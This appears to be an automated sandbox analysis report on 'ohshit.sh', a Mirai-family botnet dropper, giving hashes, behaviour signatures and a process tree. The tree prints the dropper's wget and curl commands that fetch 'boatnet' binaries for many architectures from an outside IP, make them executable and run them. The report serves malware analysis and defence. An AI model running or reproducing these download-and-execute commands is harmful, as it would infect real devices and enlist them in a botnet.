Analysis
-
max time kernel
150s -
max time network
152s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
03-01-2025 11:36
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
dfb20882adc5a8a441e05549d24a2888
-
SHA1
9cad12bea5d7cdf2c78c5a00b308f25923c59218
-
SHA256
19d701781a24a57e13181d054c7f3a70d3e205ad72be89fd29dcfa3084e5e396
-
SHA512
63ff945d55e5560f99d75c99656b03d1ef70a50900c3c8fcb93fa13d63540c11ba14585c78c202ace742fc924f75f01c4acf43141ff1f1f700ad10c8d72f4bb2
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 748 chmod 770 chmod 829 chmod 731 chmod 740 chmod 823 chmod 873 chmod 786 chmod 835 chmod 883 chmod 757 chmod 810 chmod 853 chmod 889 chmod 895 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/WTF 732 WTF /tmp/WTF 741 WTF /tmp/WTF 749 WTF /tmp/WTF 758 WTF /tmp/WTF 771 WTF /tmp/WTF 787 WTF /tmp/WTF 811 WTF /tmp/WTF 824 WTF /tmp/WTF 830 WTF /tmp/WTF 836 WTF /tmp/WTF 855 WTF /tmp/WTF 874 WTF /tmp/WTF 884 WTF /tmp/WTF 890 WTF /tmp/WTF 896 WTF -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF -
resource yara_rule behavioral3/files/fstream-1.dat upx behavioral3/files/fstream-4.dat upx -
description ioc Process File opened for reading /proc/701/cmdline WTF File opened for reading /proc/711/cmdline WTF File opened for reading /proc/791/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/833/cmdline WTF File opened for reading /proc/836/cmdline WTF File opened for reading /proc/852/cmdline WTF File opened for reading /proc/539/cmdline WTF File opened for reading /proc/773/cmdline WTF File opened for reading /proc/805/cmdline WTF File opened for reading /proc/823/cmdline WTF File opened for reading /proc/841/cmdline WTF File opened for reading /proc/844/cmdline WTF File opened for reading /proc/861/cmdline WTF File opened for reading /proc/862/cmdline WTF File opened for reading /proc/700/cmdline WTF File opened for reading /proc/892/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/800/cmdline WTF File opened for reading /proc/809/cmdline WTF File opened for reading /proc/818/cmdline WTF File opened for reading /proc/830/cmdline WTF File opened for reading /proc/831/cmdline WTF File opened for reading /proc/758/cmdline WTF File opened for reading /proc/695/cmdline WTF File opened for reading /proc/774/cmdline WTF File opened for reading /proc/798/cmdline WTF File opened for reading /proc/812/cmdline WTF File opened for reading /proc/832/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/783/cmdline WTF File opened for reading /proc/789/cmdline WTF File opened for reading /proc/811/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/814/cmdline WTF File opened for reading /proc/826/cmdline WTF File opened for reading /proc/840/cmdline WTF File opened for reading /proc/893/cmdline WTF File opened for reading /proc/752/cmdline WTF File opened for reading /proc/734/cmdline WTF File opened for reading /proc/751/cmdline WTF File opened for reading /proc/777/cmdline WTF File opened for reading /proc/481/cmdline WTF File opened for reading /proc/793/cmdline WTF File opened for reading /proc/857/cmdline WTF File opened for reading /proc/858/cmdline WTF File opened for reading /proc/860/cmdline WTF File opened for reading /proc/863/cmdline WTF File opened for reading /proc/878/cmdline WTF File opened for reading /proc/682/cmdline WTF File opened for reading /proc/696/cmdline WTF File opened for reading /proc/706/cmdline WTF File opened for reading /proc/827/cmdline WTF File opened for reading /proc/843/cmdline WTF File opened for reading /proc/847/cmdline WTF File opened for reading /proc/851/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/494/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 735 wget 738 curl 739 cat -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.ppc wget
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:703 -
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:710
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:717
-
-
/bin/catcat boatnet.x862⤵PID:729
-
-
/bin/chmodchmod +x boatnet.x86 ohshit.sh systemd-private-ca1b3c548cf6416b8e458eb540fca851-systemd-timedated.service-PWIQPY WTF2⤵
- File and Directory Permissions Modification
PID:731
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:732
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:735
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:738
-
-
/bin/catcat boatnet.mips2⤵
- System Network Configuration Discovery
PID:739
-
-
/bin/chmodchmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-ca1b3c548cf6416b8e458eb540fca851-systemd-timedated.service-PWIQPY WTF2⤵
- File and Directory Permissions Modification
PID:740
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:741
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:745
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:746
-
-
/bin/catcat boatnet.arc2⤵PID:747
-
-
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-ca1b3c548cf6416b8e458eb540fca851-systemd-timedated.service-PWIQPY WTF2⤵
- File and Directory Permissions Modification
PID:748
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:749
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.i4682⤵PID:751
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.i4682⤵
- Reads runtime system information
- Writes file to tmp directory
PID:752
-
-
/bin/catcat boatnet.i4682⤵PID:756
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:757
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:758
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.i6862⤵PID:759
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:760
-
-
/bin/catcat boatnet.i6862⤵PID:768
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:770
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:771
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.x86_642⤵PID:773
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:777
-
-
/bin/catcat boatnet.x86_642⤵PID:784
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:786
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:787
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:789
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:796
-
-
/bin/catcat boatnet.mpsl2⤵PID:808
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:810
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:811
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:814
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:820
-
-
/bin/catcat boatnet.arm2⤵PID:822
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:823
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:824
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:826
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:827
-
-
/bin/catcat boatnet.arm52⤵PID:828
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:829
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:830
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:832
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:833
-
-
/bin/catcat boatnet.arm62⤵PID:834
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:835
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:836
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:838
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:844
-
-
/bin/catcat boatnet.arm72⤵PID:852
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:853
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:855
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:858
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:865
-
-
/bin/catcat boatnet.ppc2⤵PID:872
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:873
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:874
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:878
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:881
-
-
/bin/catcat boatnet.spc2⤵PID:882
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:883
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:884
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:886
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:887
-
-
/bin/catcat boatnet.m68k2⤵PID:888
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:889
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:890
-
-
/usr/bin/wgetwget http://154.216.18.23/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:892
-
-
/usr/bin/curlcurl -O http://154.216.18.23/hiddenbin/boatnet.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:893
-
-
/bin/catcat boatnet.sh42⤵PID:894
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:895
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:896
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
30KB
MD527ee60d65a0b0d6af2a477bb96ca20e9
SHA1cad4bba0734a87f2ff8eee097a92a140d5224d0b
SHA256895e78113e4b330ac980707b9488628d2ae48336d9ac494cfde7f603efc614e3
SHA5129c0b4eb1348b5b9289132551fad227a571a971d9ec69ddcc718001db6ee7ec66d89faf5c6007751a0428a4876ac26e072b9a202dc351cb6810ec99c4f76868b9
-
Filesize
105KB
MD5194b9bddea0fed8a1c658381aae3e658
SHA10985accf1d90f302910f13615359a64b5dd42a8a
SHA2569e35db01d13839e7c92014a0d4244d39bea63aa8ac011d252013567758fe50f3
SHA512cc793be8b7142430f465e6847323c3f015316738d500df66c7ad2430717fe7c873287a533e8ce55be6ea53886c2872230acbffefb8ae6c143306972860f0752e
-
Filesize
220B
MD5f1c24d9fa40a047ae22d2d3ae7dfeac9
SHA1750274b02d5f5b00026a4f55b020f4285c693533
SHA256219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc
SHA51236bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259
-
Filesize
220B
MD5a8f502a6fb3b7b940e922c951d9e493a
SHA1fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf
SHA256748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec
SHA512e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338
-
Filesize
71KB
MD512be5a24b7680c9748121c172cfa0049
SHA1a60722cd2acf0f3fb72a9614d7a371ae0bbaf8f8
SHA2566d704d48e37ca4315ca8941fc24cabcad4a2dda041660e82e3bbe88a11579cb4
SHA5128df73c10a4bbeedad5cfdb22e47f2888ee44401ee8a7f7182faf8a0e2be9a026e95b5af1489f4e254fc003aa4ca9e27b605bc6cf6ebef53ee72a6d55a5fbecd8
-
Filesize
28KB
MD5eae146a902f2fe0cfaf85240434db7c6
SHA1f0d8349f832c17eafbc17adb648a5f104b008309
SHA256b48028f95d683e1dd1ab7b71f8d18c0b0ae27eecb13535fa846cb4b8be455610
SHA5124ec3bc79b2592f517cc42c4990e725d6ccc8e14b9b69f26de0cee032d7872f1956c3e6f9821cc95cbef4a768151b924cc2bab07e42b89e353ef6bea0afc65e40